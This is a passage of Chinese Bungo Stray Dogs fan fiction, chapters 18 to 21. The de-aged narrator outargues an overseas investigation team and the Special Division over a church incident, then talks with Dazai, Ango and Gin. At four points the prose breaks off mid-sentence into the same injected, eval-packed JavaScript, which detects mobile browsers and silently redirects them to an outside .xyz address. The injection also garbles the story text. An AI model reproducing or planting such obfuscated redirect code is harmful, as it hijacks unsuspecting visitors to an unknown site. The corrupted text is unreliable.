也有他人光明正大拍摄的角度,这种照片清晰度更高,但只有一张。二叶亭彻站在红色栏杆的边缘,双手抓着栏杆,大半个身子都探出了栏杆外,像是想往下面看,但他又转过了小半个头,好像是听见了拍摄者在叫他。 “十七日中午,监控拍到你前往武装侦探社,疑似去找了名侦探江户川乱步,但侦探社却没有接到委托的记录。” “离开侦探社之后,你在侦探社的门口一动不动站了十来分钟,然后在附近的电话亭给未知人士拨打了电话。随后,你招来出租车,在下午一点多的时候抵达了教堂。不久后,教堂案被害人、著名宝石商人松本高辉独自乘坐个私人车辆来到了教堂。” 你查看了监控截图。与其他尸体死法不一样的、那具跪在圣母像下的尸体,就是宝石商人松本高辉。 “临近三点,松本商会的成员们来到了教堂,他们到教堂后的不到三分钟内,特异点爆发。下午那段时间,十七日当天的祷告活动早已结束,神职人员大多在牧师公署,留在大堂内的神职人员被人事先支走,没人清楚具体过程,而松本商会的成员无一生还,以至于最后,那座教堂中的幸存者只有——你。” 说着,调查团又出示了几张图片,是正对着教堂门口的监控截图。 监控截图中,太宰治被几个护卫围着,他的头稍稍低下,监控没有拍到他的正脸,看不清他的表情,但拍到了他的手中横抱着一个人。 那人受了重伤,血滴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12800543|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滴答答地落在地上,从教堂里流到教堂外,点点血迹蜿蜒成一条不连贯的血路,即使做了临时的包扎也根本止不住。 护卫挡住了太宰抱着的人的面容,但你能确定他抱着的是一个少年——那少年就是你。当天的教堂内没有少年,只有你,离奇变成了少年的人。 “我们有理由怀疑,你与特异点的出现有关。”调查团的人说,“我们需要带你回去做异能上的检测。” 看来特务科并没有把现场还有一位“消失之人”的信息告诉他们。 面对调查团的视线,你淡然自若,“你们怀疑的是二叶亭彻,而不是我。” “这种无聊的否认是没用的,你不就是二叶亭彻吗?” 助理将二叶亭彻的照片展示给你看,除了年龄,几乎一模一样——这是当然的,那就是这具身体长大后的模样。 “世界上长相相似的人多了。二叶亭彻是个成年的犯罪顾问……犯罪对策科的顾问。”你说,“而我叫太宰朔,一个少年而已。” 某种意义上,你在让他们证明你是你。 “真是堪称无赖的狡辩啊,少年。”菲茨杰拉德轻轻笑道,“的确没有直接的证据表明你就是变小了的二叶亭君。只不过呢——我们提取了现场的血液,与曾经的二叶亭彻留下的DNA做出了比对,结合监控能够确认,这位Mafia的首领先生带走了你,我是说,带走了二叶亭彻。” 其实,未必没有证据,毕竟你们去过医院,医院中的人证想来不少,只要问几个人,就能指认出什么人在医院接受了治疗。 为了救活你,匆忙之下留下的痕迹太多了,特务科的动作也很快,Mafia来不及也无法清理掉所有痕迹。 调查团只是还没有追查到医院罢了,也许Mafia在其中做了阻挠,但纸包不住火,查到是迟早的事。 “不过——”菲茨杰拉德的双腿交叠,姿态十分从容放松,“如果少年,你坚持你不是二叶亭君,我们也不会为难你。毕竟我们不知道二叶亭彻是不是变小了,但我们知道,二叶亭彻一定是被Mafia带走了,我们要找的,只是‘被Mafia带走的二叶亭彻’而已。” 他的上身稍稍向前,语气渐渐变得强硬起来,“不论你是谁,特异点事件给各国带来了损失,今天Mafia必须交出二叶亭彻来协助调查,就是这样。” 19.第十九章 “你们要求交出二叶亭彻的理由不成立,因为他与特异点无关。”你笑了笑,“如果你们要查特异点,为什么不问问——特务科对你们隐瞒了什么呢?” 在场的人谁也没想到你会突然把矛头掉转向特务科。 特务科派来的那位在整个会客厅中存在感不高、近似于走过场的眼镜青年,表情从你进门时就毫无波动,如同在思考其他东西一般。 而当你提到特务科,他才像突然回过神,眼中闪过不解的神色。 但调查团不会给他留思考的时间。 “哦?异能特务科在群体失忆事件上竟然有所隐瞒?”菲茨杰拉德感兴趣地看向特务科不知名的眼镜青年。 “没有这回事。”眼镜青年反应极快,他扶了扶眼镜,冷静地否认,“教堂附近所有的监控,以及军警里面,二叶亭彻不涉密的资料,都已经交给了贵方,我们对群体失忆事件的了解,并不比调查团多,甚至不如——” 他瞥了一眼太宰治,“甚至不如Mafia多。” 这位特务科成员是打定主意要隐瞒“消失之人”。 “Mafia今天才知道二叶亭彻这号人物。”太宰面不改色地说谁都能听出来的瞎话,把Mafia从中摘出来。 没人接这个太明显的瞎话,太宰治也一副乐得清闲的看戏模样,微微一笑,放松地将后背靠在沙发上。 众人又将视线转向了你。 菲茨杰拉德问,“特务科隐瞒了什么?” “特务科隐瞒了——二叶亭彻离开侦探社后,在电话亭的那通电话打给了谁。” 你没有直接说出费奥多尔告诉你的信息。 菲茨杰拉德翻了翻手上的资料,监控拍到二叶亭彻在电话亭利用公共电话网络打了电话,但交给他们的资料里,显然没有关于这次电话的信息。 “的确……坂口君,这么重要的信息,你们不可能没有查吧?”菲茨杰拉德随手将文件扔到桌上。 “我们查到了电话的使用情况,没法查到电话的具体内容。”被唤作坂口的特务科青年不紧不慢,“电话是打给死去的宝石商人的,我们不认为这是特别重要的信息……毕竟,仅凭思考也能推测出,二叶亭彻一定是先与宝石商人联系上,与其有约,宝石商人才会在他之后前往教堂。这通电话,大概率就是二叶亭彻叫宝石商人前往教堂的电话。” “好像也很有道理啊,少年,你怎么说?”菲茨杰拉德双手手指交叉,饶有兴趣地看着你。 他的眼神就像教堂中发生了什么与他无关,反而对你更感兴趣一点,想知道你的看法。 不过……他们的真实意图,其实也未必是太宰说的、以及他们所表现出来的,带你走。 或许……他们只是想确认,隐瞒身份的你在擂钵街告诉坡的话是否属实。 如果是这样,他们最基础的目的已经达到了——确认Mafia里的二叶亭彻身上发生了时间倒流现象,证实“另一个你”在擂钵街的说法,确定下来“另一个你”可以合作。 再进一步——如果Mafia与调查团双方因二叶亭彻爆发剧烈冲突,坡以及背后的势力就能够借此与Mafia开始对抗。 一旦双方开战,作为首领直属部下的白色死神很有可能参战,格哈德安保服务一方就有了去抓白色死神的理由,不会显得突兀,也不会暴露你们之间的背后交易。 也就是说,当坡所属的势力取得官方调查团的身份,光明正大地以特务科为媒介,走进Mafia见到你的时候,他们就不亏了,此后得到的每一份信息,都是赚的。 无怪乎他们的姿态会这么轻松。 “异议。”你说,“二叶亭彻在电话亭的电话,不是打给宝石商人松本高辉的。” “那是打给什么人?”菲茨杰拉德挑眉。 你没有回答,接着道,“证据就是如果查松本高辉的手机,在那段时间里,不会有通话记录。特务科把松本高辉的手机交给你们了吗?” “特务科确实没把松本高辉的手机交给我们。”调查团的成员望向特务科青年,“这也是关键证物吧?” 被称为坂口的青年陷入了沉默,他注视着你,轻呼一口气,“你说的没错,在那段时间,松本高辉的手机里没有通讯记录。但是我们并没有查到二叶亭彻打给了谁,也没查到是谁让松本高辉前往教堂。” “所以,显而易见,教堂案以及特异点的爆发,除了二叶亭彻以外,背后还有一个人。”你的视线对上了特务科青年的视线,“我不知道那个人是谁,但是特务科应该有查到那个人的能力。” 不,他们查不到,否则就不会称那个人为“消失之人”了。 特务科青年的脸色不太好,“我们没有查到……所以我们没有把这个人的存在透露出来,因为到这里为止,还都只是猜测而已。监控已经证明了那天没有其他人出入教堂,这个人可能只是为二叶亭彻提供了一点帮助,但与教堂案和特异点本身无关。” “异议。”你再次反对,“你们也提到过,教堂的神职人员被支走了。” “没错,经问询,教堂里的人说接到了主教堂需要修缮的通知。调查发现,这个通知本身是存在的,但时间被篡改了。教堂老化严重,神职人员都清楚迟早会有人来修缮,所以对通知没有起疑。”调查团的人说。 “支走他们是为了教堂案做准备,所以支走他们的人,一定确认了神职人员全部离开了主教堂。”你说,“故而,这个人当时就在教堂中——按照你们的逻辑,二叶亭彻是唯一幸存者,他和特异点有关,那么,这个特务科隐瞒下来的、也在教堂中的人,自然也与教堂案和特异点都有关。” 虽然你应该是通过费奥多尔的那条情报:现场还有一个“消失之人”来逆推的,但还算是精彩的辩驳。 好了,现在是特务科的回合。 “我们没有刻意隐瞒……” 特务科青年皱了皱眉,他好像发现了你是个非常麻烦的家伙,看上去很难搞,实则一点都不简单。 更麻烦的是,你一直在把焦点往特务科身上转。 “监控里没有这个人,实地调查也没有发现这个人的任何痕迹。”他再次扶了扶眼镜,“二叶亭君,关于他在教堂中,你也只是推测,如果按你所说……” “太宰朔。”你打断道。 “太宰……朔先生。” 寻常人早就冷汗直冒了,而特务科这位依然保持着冷静。他镇定道,“即使你不承认你的身份……不管这个人是谁,又做了什么……二叶亭彻在Mafia里,这点毋庸置疑吧?” 他在尝试把人们的注意力重新引回到Mafia。 “但是诸位真正想调查的其实是特异点的根源,而不是二叶亭彻。”你说,“既然二叶亭彻从前是军警成员,那么他的异能是什么,想必特务科也十分清楚。” 这时,菲茨杰拉德插话了,他没有拿起文件,依靠着记忆道,“说的对,特务科交给我们的资料里,可没有写二叶亭彻的异能。这一点,坂口君,你又要作何解释呢?” “二叶亭彻没有异能——”坂口先生说着,又摇了摇头,“不对。是我们不知道他有异能。他在军警就职期间,从未展现过自己的异能力……否则,他就不会只是犯罪对策科的顾问了,他能直接到特殊镇压作战部队去。” 你笑了笑,“坂口先生身为天天与异能打交道的人,想必知道,异能是和爱恨一般难以隐藏的东西。二叶亭彻在军警中这么多年,难道就没有一个人知道他的异能是什么?如果真是这样,只能说明,他的异能效果并不明显,或者更有可能的是——他根本就没有异能!” “……”特务科青年无话可说,他一定有在脑海里试着反驳你的话,但短时间内,他没有想到如何反驳—— 也许, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12821637|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他想到了如何驳斥你。但出于保密需要,他张了张嘴,最后还是什么也没说。 于是你接着道,“没有异能的人不可能凭空造出特异点,做出让全横滨的市民失忆三天这样的壮举。所以,事情已经很明显了,不管二叶亭彻为什么去教堂,但他与特异点无关,而那位帮助二叶亭彻叫来宝石商人、引走神职人员的神秘家伙,才是真正需要调查的人。” “我不相信人才众多的特务科,对那个神秘家伙一点线索都没有……”你微笑着一锤定音,“诸位——与其在这里浪费时间,不如早点把藏得更深的人抓住,我说的对吗?” 会客厅内鸦雀无声。 太宰治率先打破了寂静。 他眼中含笑,轻轻鼓掌,“朔君已经把话说得很清楚了呢……他的意思就是我的意思。各位是现在走,还是用过晚餐再走?” “不劳烦你们准备晚餐了,横滨的餐食我还是吃不习惯。”菲茨杰拉德耸了耸肩,随便找了个离开的借口,他站起身,“教堂中竟然还有一个人,事情真是越发扑朔迷离了……” 他稍稍低头,注视着你,“不过,少年朔,你——或者二叶亭彻,应该可以提供一些教堂内的事情经过,以及那位神秘人士的线索吧?” “特异点的作用下,二叶亭彻自然也会遗忘教堂中的一切。”你抬头,“很遗憾呢。除了制造特异点的那位神秘人,大概不会再有人清楚地知道教堂中发生过什么了。” “原来如此……”菲茨杰拉德眯了眯眼睛,他似乎想到了什么,停顿片刻后,转身笑着招了招手,“既然首领先生和朔君都送客了,那就先走吧。” 调查团的成员们呼啦啦地站了起来。 整理带走桌上资料的、记录此次谈话的,还有坡—— 本来还以为他没带那只浣熊,现在你突然看见,他那只叫卡尔的浣熊从旁边调查员的背包里钻了出来,又被他拍了拍脑袋,按了回去。坡比了个噤声的手势,仿佛卡尔看得懂似的。 “我们还会再见的。”菲茨杰拉德朝你轻轻一笑,扬长而去。 调查团的成员们都出了门,特务科的青年却没起身。 他沉默地坐着。 “你留下来是要吃晚餐吗?”太宰望向他。 “首领先生这么热情地请我吃饭,我怎么好拒绝。”坂口君装作听不出他赶人的意思,平静地说,“毕竟我和他们不一样,我还是挺吃得惯横滨的饭的。” 太宰站起来,他像散步一样走到靠墙的书架旁边,从书架顶部拿了一个罐头,抛了过去。 罐头被其身边的护卫接住。护卫仔细查看了一番,才将罐头递给坂口君。 “……我算是见识了Mafia的小气。”坂口君把罐头放在茶几上。 “唉呀。这不是相应政府号召,提倡节俭嘛。” 太宰又拿了两个罐头,走到你身边,把一个罐头递给你。 白色的金属罐身,上面印着几个字:新鲜螃蟹肉。旁边还附有可爱的螃蟹插图。 你双手接住罐头。怎么说呢,罐头上的“新鲜”就像墓碑上的“这人还活着”,起到一个提升幽默感的作用。 “我记得警视厅还号召拒绝恶性犯罪呢。”坂口君说。 “坚决拒绝~”太宰面带微笑,煞有其事地点了点头,“严厉打击。” “然后继续执行,对吧?”坂口君可能是觉得不要白不要,又把罐头从茶几上拿了回去,放进了他的黑色公文包里。 他又把目光转向了你,这时你发现他的眼睛很漂亮,是深邃的绿色。 你:“植物叶片一样的绿色。他的眼睛里有叶绿素。” ……也不是不能这么形容,但他的眼睛里大概是没有那种东西的。 “今后可能还会继续打交道,认识一下吧。”坂口君站起了身,他提着公文包走到你身前,朝你伸出一只手,自我介绍道,“我是坂口安吾。” 20.第二十章 坂口安吾的声音平缓,他在对你传达友善的态度,也许特务科里有很多这样友好的人,辻村深月是这样,坂口安吾也是这样。 你却没有伸出手,而是眨了眨眼,把自己的罐头抱紧,上身向后靠了靠,“太宰先生已经给你一个罐头了,就不可以再找我要了哦。” “?”坂口安吾的眼神茫然了一瞬,他没想到你会这样理解。 横滨临海,海产品丰富,很容易就可以买到活螃蟹,很少有人会放着新鲜螃蟹不吃,去吃“新鲜螃蟹肉罐头”。 这种罐头会放在这种地方,有可能因为这是Mafia的工厂加工出来,用来出口到境外的商品,放在这与商会合作会谈时作展示用——总不可能是Mafia首领喜欢吃,为了吃起来方便,到处都放几罐吧。 但凡是个正常人,都不会觉得这样的场合向你伸手的意思是讨要罐头,但你偏就这样理解了。 坂口安吾轻轻叹了口气,很快就恢复了波澜不惊的从容姿态。 他俯下身,嘴角浮现出一个浅淡到近乎没有的笑,顺着你的话道,“……可是我还想要一个罐头,如果你不给我的话,我就只能找人从这位首领先生的手里抢了。” 他好像在和小孩子开玩笑,但他的语气太平淡,以至于不像个玩笑。 “安吾先生真是贪心啊。”你说,“罐头与罐头不可兼得,这种道理想必你是明白的。” “有这种道理吗?”安吾问。 “怎么还欺负小孩……道理就是不管特务科派谁来,也抢不到Mafia的东西。”太宰走到你面前,把安吾挡开,朝你伸出手,“朔君——” 你搭上他的手,顺势站起来。 太宰牵着你,往门口走。 你摸到了他手上的绷带,绷带缠住了半只手,他的手指细腻温润,而绷带则是一种十分干燥粗糙的触感。 就是他这双缠着绷带的手,把你从血色的教堂中抱了出来。 “太宰朔,你不是刚才推测出来的,而是早就知道当时教堂里还有一个人,对吧。”坂口安吾在你身后,看着你们的背影,忽然出声道。 你拉着太宰的手,转过头冲他笑了笑,什么也没说。 太宰则头也不回地道,“既然朔君的测试结果表明他没问题,特务科就不要再干涉朔君的事了。” 在你们走出门前,坂口安吾在片刻的安静后,又发出一个提问,不知道是在问你还是在问太宰治,“二叶亭君真的不愿意回军警吗?” “二叶亭彻——”太宰停住脚步,低头看了你一眼,“属于军警的二叶亭君已经抢救无效,死在了医院里。十月十七日教堂案最终无人生还——Mafia希望能从你们的报告上看到这样的定论。” 他顿了一下,又道,“特务科没有事先告知,就将海外调查团直接带了过来,关于这件事,我会问问种田长官他是什么意思的。” …… “就这样丢下他走掉吗?”你问。 “他只是为这次会议牵线的,最多帮忙带话,真要谈些什么关于二叶亭彻的事,也是他的长官来和我谈。安吾的话……虽然他的职位升得很快,但还不够代表特务科向Mafia要人。” 走出门后,太宰就松开了你的手,他好像不太喜欢与旁人接触。 “太宰先生从前认识他?” “Mafia与特务科在一些事务上有过合作。”太宰像是在回忆什么,“特务科经常派他来传达情报、参与会议或者交付文件与物品,我猜……应该是因为他的异能对于获取情报很有利吧。一来二去自然就熟悉了,不过嘛……关系算不上亲近。” “他的异能?” “名字是堕落论。非常麻烦的一个异能,能够读取物品上残余的记忆。”太宰笑了笑,“这个异能是特务科机密中的机密。异能一旦被人知晓,就会失去战术价值……假如他的异能暴露,所有人在面对他时都会变得谨慎起来,谋划的时候会把他的异能考虑进去,堕落论自然也会处处受限。” “既然是机密,那太宰先生是怎么知道的?”你好奇道。 太宰已经拆开了罐头,取下盖子上附赠的一次性塑料勺,“喔……这也是秘密哦。朔君也能想到的吧,他的异能是机密中的机密,而探听到机密中的机密的办法,自然就是更厉害的秘密。” 他舀了一勺蟹肉吃掉,眼睛微微眯起,露出满意的笑容,低声自语道,“果然只有这种时候能稍微感觉到一点愉快……人类的身体本能制造出来的幸福吗?” “原来太宰先生喜欢吃蟹肉罐头啊。”你说。 “嗯……因为很熟悉——刚进入Mafia的时候,森先生连正经住所都没有给我,所以啊,只能继续住在垃圾场的集装箱里。那时垃圾场的附近就是仓库,由于横滨的工厂总是倒闭,就有一批出口不掉,在横滨又根本卖不出去的海鲜类罐头一直被积压在仓库,且由于价值不高,很少会有人想起来去查看……” 他用勺子简单地比划了一下,“于是我就把那里当食堂了。那家工厂制造的鱼类罐头的味道着实一言难尽,卖不出去不是没有道理的,生蚝罐头打开就是烂泥糊糊一样的形状,连吃一口都没有欲望,最后发现,还是蟹肉罐头比较美味啊——” “是这样啊……”你看着自己手里的罐头,点了点头。 太宰停顿了一会儿,低下头瞥了你一眼,突然笑道,“骗你的啦。” “欸?”你抬头看着他。 “只是觉得好吃而已,口味这种东西就是这样莫名其妙,不需要什么理由,不是吗?”太宰说。 你们走进电梯,太宰的护卫、芥川银,以及一直不远不近跟着你们的立原也走了进来。 电梯上行,直达顶楼。 夜渐深,但你刚睡醒不久,毫无困意。 护卫们包括立原,站在首领办公室靠墙的位置,而你则与芥川银站在办公桌旁边。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12836294|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>你把蟹肉罐头放进口袋里,抱起了诺亚,“诺亚好像轻了。” 太宰迅速解决着蟹肉罐头,闻言,他抬起头,“你想给他来点蟹肉?” “不……它想来点酒。” “它还没成年。”太宰说,“不行。” 抛开花盆是否会成年不谈,给花盆喂蟹肉和酒真的没问题吗? “我看到太宰先生调的酒了。”你说,“太宰先生调好了酒为什么不喝?” 太宰似乎没想到你会问这个问题,他低头看着罐头,沉吟了一会儿,“因为——” 他眼角一弯,“因为朔君昨天晚上没有回来嘛。一个人喝酒很没有意思,即使是听着就很可怜吧?孤零零的一个人呆在房间里喝酒什么的……只好让酒代人承受这份无聊了。” “骗人——”你说,“太宰先生的话说得真的很好听,可是,你连给诺亚喝酒都不让,自己喝酒时怎么会想到我这个未成年?” 你抱着诺亚离他近了些,“但那句话是真的,一个人喝酒很没有意思——所以,太宰先生调酒的时候在想谁?” 太宰把空罐头推到了一边,抽出纸巾擦了擦嘴,“朔君,你听说过这样一句话吗:太聪明不是好事,聪明还好奇心重,更不是好事。” 你:“让太宰先生想着的人肯定不聪明。” 太宰将空罐头和纸巾一起丢进垃圾桶,“为什么这么说?” “聪明人会和太宰先生一起喝酒。”你说,“聪明花盆也会。” 办公室天花板的灯是开着的,但太宰还是点上了桌上的烛台,火光跳跃了一下,映在你们的眼睛里。 银笔直地站在旁边一言不发,她看向你的眼神有点惊讶。 “即使你这么说,我也不会允许你和诺亚喝酒的。”太宰微笑道,“我突然想起来……朔君今天是特意躲开与安吾触碰的吗?” “没有。我只是想保卫太宰先生给我的罐头。”你拿出罐头,又放进了衣服口袋里。 “是这样啊,我还以为朔君也有比秘密中的秘密还要厉害的秘密,知道安吾的异能呢。”太宰漫不经心地拿起桌上的钢笔,吸入墨水。 “我要是聪明到那种地步就好了。”你说。 “今天还有做噩梦吗?”他接着问。 你摇了摇头,“没有。” “昨晚梦到了什么?”太宰问。 “聪明还好奇心重,不是好事——”你复述了太宰之前的话。 太宰轻轻地笑了笑,“我只是在想,能让我们这样的坏人做噩梦的,会是什么……” 你们都安静了一会儿,然后太宰问道,“是死亡吗?” 你直直地看着太宰,把诺亚抱得更紧了一点,“既然太宰先生不告诉我调酒的时候在想谁,我也不要告诉你我梦到了什么。” 他叹了口气,温声道,“总有一天我会知道。” 你看着他,点点头,“是的,总有一天我会知道。” 21.第二十一章 太宰治结束了白天的工作,将一叠文件交给芥川银,随后开始了晚上的工作。 你给诺亚的土壤喂了些水,诺亚很高兴,它表达高兴的方法是一动不动……其实无论什么时候它都一动不动。你究竟是怎么看出它饿了的? 为避免诺亚干扰到太宰工作,你把诺亚放在了办公桌的桌脚。 “太宰先生白天和晚上的工作内容好像不太一样?”你没有继续打扰太宰,而是去跟着芥川银。 芥川银的黑发长而柔顺,五官也有一种温柔美丽的气质,但她做事时却颇为凌厉,干脆利落。她完成太宰交代的任务后,便将文件转交到各办公室。立原紧随你们身后。 夜幕已然降临,很多办公室的灯都是黑的,文职人员大多已经下班了。 银一边把一些票据打印出来,一边用好听的声音回道,“朔君问首领吗——首领白天和晚上的工作是交错起来的,白天处理的不一定是白天的工作,晚上处理的也不一定是夜晚的工作。” 她好像把“白天”和“夜晚”理解为了另外的意思,即合法与不合法。 “在群体失忆事件前,首领白天的工作主要围绕直输出事业的联合与协同,到处开会,现在的话……在一些已经扯皮好的事情上,有的人因为失忆又反悔了,所以得按照记录,重新把一些合作对各方确认一遍,防止未来出现不必要的麻烦。”银说。 “……直输出事业?” “政府发明的词,直白地说,就是打破因为条约而出现的贸易垄断,绕开在横滨的外国商人和代理人,把商品直接销往海外市场。我们的港口会社在这方面与全国很多公司都有合作,而且取得了政府的补贴和银行的支持。” “哦……”不管你有没有理解,你点了点头,一副完全明白了的样子。 “除了这个,还有就是租地人会议的事务,每年会有两名横滨市民被选入租地人会议,虽然这个会议决定不了关键的东西,但事务也得太宰先生亲自处理。然后就是日常的对Mafia中的重大问题与突发事件进行决策。最近白天的事务主要就是这些。” 银想了想,补充道,“以及像今天这样,配合特务科的调查。平时还会有配合军警和公安的调查、配合税务署的调查……各种配合。一些由部下处理就好了,但特务科或者军警这种就得太宰先生亲自来交代工作。” “听起来就超级无聊啊。”你说。 “太宰先生刚成为首领的那段时间经常这样说呢,不仅无聊,还很辛苦……后来就很少有抱怨的精力了。”银叹息一声。 “那晚上的工作会有趣一点吗?”你问。 “也不会。对我们来说,晚上的工作会惊险一点,但对太宰先生而言,好像都是差不多的……” 银似乎想到了什么,她清秀美丽的脸上浮现出浅浅的笑容。 “首领有时觉得太无聊了,就会走神在办公桌上画乱七八糟的东西,有些是线条小猫小狗,有些是长得很奇怪的小怪物,如果你突然间把他桌子上那些文件全部搬走,说不定还能看到一些没来得及清洗掉的痕迹。” “咦——好想看看。”你有些可惜地说,“但是会清洗掉啊……” “是啊,可能太宰先生想保持冷酷吧……很神奇的是,我明明就站在旁边,但从来发现不了他什么时候走神了,只有看到涂鸦后才能察觉到。”银突然反应过来,比了个噤声的手势,“不要和太宰先生说是我告诉了你这个。虽然不是重要的事,但首领的一切都是秘密——” “了解,绝对保守秘密——” 你微微一笑,朝她点点头,像是做了约定。 “银小姐告诉我这个秘密,是因为我是太宰先生亲手带回来的准干部吗?” “不完全是。”芥川银深深地注视着你,她银灰色的眼瞳像是微风拂过的池水,清澈无比,“我是想着,要是朔君能更了解太宰先生一些就好了……” 你安静地等她继续说。 “我始终没有办法明白太宰先生那非人的头脑中究竟在思考着什么,如果不是相处了很长的时间,说不定会和许多Mafia一样,只怀揣着敬畏与恐惧……但即使共事了很长时间,知道首领并不是一直冷漠而遥不可及,也永远无法猜到太宰先生的下一步谋划,无法为他做更多的事……” 打印机吐出一张张票据,发出很响的声音。 银看着工作着的打印机,又叹息一声,“但是朔君说不定能明白,并为首领做更多的事呢。” “不止是因为这个吧?”你说。 银沉默了一会儿。 你猜中了,但她好像在犹豫要不要告诉你。 她可能想说的是重要的事情,因此无法轻易说出口。 “我是可信的人,至少太宰先生相信我。如果银小姐也能信任我的话,我会很高兴的。”你说。 银轻轻呼出一口气,“也许是我多想了,我总觉得,首领最近有些奇怪……” “奇怪?是从群体失忆事件之后吗?” “不是……是之前。” 银又顿了一会儿,“我是首领的秘书,对于港口会社的事务很熟悉。前一段时间,首领突然调令中也干部前往欧洲地区开拓海外市场。” “有什么不对的地方吗?”你问。 “中也干部是Mafia的最高武力,前几年森首领还在的时候,他在组织里掌控宝石走私的渠道,而在太宰先生成为首领后,中也先生的职权范围就越来越大,但一般参与的都是‘夜晚的工作’。” 意思是不合法的事务。 把比较危险的事交给实力强大的人,的确会比较保险。 “中也先生虽然业务也涉及海外,但这次的开拓市场属于直输出事业的一部分,在政策下联合包括东京、大阪、静冈等地区及横滨的其他行会组织,共同尝试进一步掌控贸易权,这是——” “‘白天的工作’。”你说。 银点了点头,“而且是十分重要的工作。这样的工作从前都是交由干部Ace先生的,他对这一块很熟悉,任务完成的也很好。中也先生这些年即使常在横滨外活动,但在对欧洲地区的了解上,不一定有Ace先生熟悉。” 她说得很委婉,事实应该是完全不如那个Ace先生熟悉,毕竟Ace这个名字一听就不是横滨人。 “白天和夜晚的主要事务全部交由一人……太宰先生想把中也干部培养成首领吗?”你说。 银吃惊地看着你,“怎么会?太宰先生还这么年轻呢,而且,虽然中也干部常被太宰先生惹生气,但他绝对不可能真的动手杀掉太宰先生然后成为首领的,中也干部是很好的人——” Mafia的首领上位方式原来都这么血腥的吗? 银又说道,“只是直觉上感到微妙的奇怪而已,因为调令来的非常突然,且没有让Ace先生为中也先生提供帮助——虽然太宰先生做什么都有他的道理,但如今中也干部回来了,我也没想明白。” “如果不是培养首领的话……”你平静道,“那就是因为什么事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12844598|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,临时决定把中也先生调离横滨。他的存在阻碍了太宰先生的某个计划。” 银一怔。 “你想到什么了吗?”你问。 银回过神,有些抱歉地看着你,“朔君,这个真的涉及到机密了,即使是你,没有首领的允许,我也不能说的。” 她明显是想到了什么。 不过,别为难她了,你直接去询问太宰说不定会更好。 你沉默着。 “想要朔君帮忙弄明白为什么首领会有些奇怪,又有很多东西不能告诉你,真的非常抱歉……” 空气沉静了一会儿。 似乎是为了缓解歉意,银关切地说,“朔君的衣服好像不太合身呢,要换一件吗?” 你里面穿着一件白衬衫,但外面披的还是太宰给你的那件外套。 太宰这件外套本来就是偏长的款式,放在你身上几乎要拖到地上去,从口袋里存取东西的时候,都得先把衣服提起来一点。 “有合适的外套吗?”你问。 “诺亚的衣服正在制作,朔君的外套应该也是在制作中。现在临时换的话……武斗派里有和朔君身形相似的少年成员,战斗的时候总是会损坏衣服,所以外套储备有很多。” 银将垂落到额前的一缕长发撇到耳后,“朔君毕竟不是武斗派的普通成员,也可以像其他的准干部一样,不穿制服,自己去买衣服。” 这两天你所见到的Mafia里绝大多数普通成员,在工作时间穿的都是黑外套,连银这样的非武斗派的高级成员,穿的都是黑色的西装制服。 “谢谢银小姐关心,我会解决穿着问题的。”你微笑道。 银整理着打印好的票据与文件。 你坐在一旁,因为收到新信息提醒,打开了手机。 社交平台上你收到了大量关注,有一些评论不太对劲,一直把话题往Mafia首领的方向带。 有的人猜测你这个账号背后就是Mafia的首领,然后你就因此收到了一些非常不友好的私信。 Mafia敌人众多,直接被归于Mafia阵营的你,自然也进入了这些人的视线。 你只是平淡地瞄了一眼,无视了所有纷杂信息,关闭了社交平台。 旋即,你点开了通讯软件,查看有提醒的消息。 费奥多尔:【我查到了二叶亭彻的住址,但是有军警的人守在门口。】 你:【你要进去吗?带上我一起。】 费奥多尔:【尼古莱不在,朔君有支开军警的办法吗?】 你:【在那里的是谁?】 费奥多尔:【特殊镇压部队甲分队的成员。】 你:【被称为“猎犬”的那支队伍?】 费奥多尔:【是的。他们全队都在那,两个人搜查,两个人守在门口。】 你:【哇哦。】 费奥多尔:【朔君认识他们吗?】 你:【不记得了。并且也没有二叶亭彻家的钥匙,更没有支开他们或者混进去的办法。】 费奥多尔:【那就麻烦了呢。】 你:【诺亚说——不可以看到我没价值就丢下我独自行动。】 